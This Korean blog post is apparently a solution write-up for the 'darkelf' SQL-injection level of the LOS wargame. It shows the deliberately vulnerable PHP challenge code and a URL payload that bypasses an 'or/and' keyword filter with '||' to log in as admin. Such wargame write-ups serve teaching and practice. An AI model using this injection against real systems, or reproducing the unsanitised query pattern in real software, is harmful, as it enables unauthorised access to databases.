[LOS] darkelf 풀이

 

PHP & query 
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>
select id from prob_darkelf where id='guest' and pw=''

 

문제 풀이

더보기
solve 조건
if($result['id'] == 'admin') solve("darkelf"); 

 id값이 admin이면 해결된다.

 

 

특수문자 제약
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
 and 와 or을 못 쓰게하고 있다. or이란 문자를 못 씀으로 || 로 우회하여 공격한다.

 

 

목표 SQL 쿼리
select id from prob_gremlin where id='' and pw='' || id = 'admin'

 

 

URL

los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw='  || id = 'admin 

 

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] troll 풀이 - 8번  (0) 2020.09.15
[LOS] orge 풀이 - 7번  (0) 2020.09.15
[LOS] wolfman 풀이 - 5번  (0) 2020.09.15
[LOS] orc 풀이 - 4번  (0) 2020.09.15
[LOS] goblin 풀이 3번  (0) 2020.09.15

+ Recent posts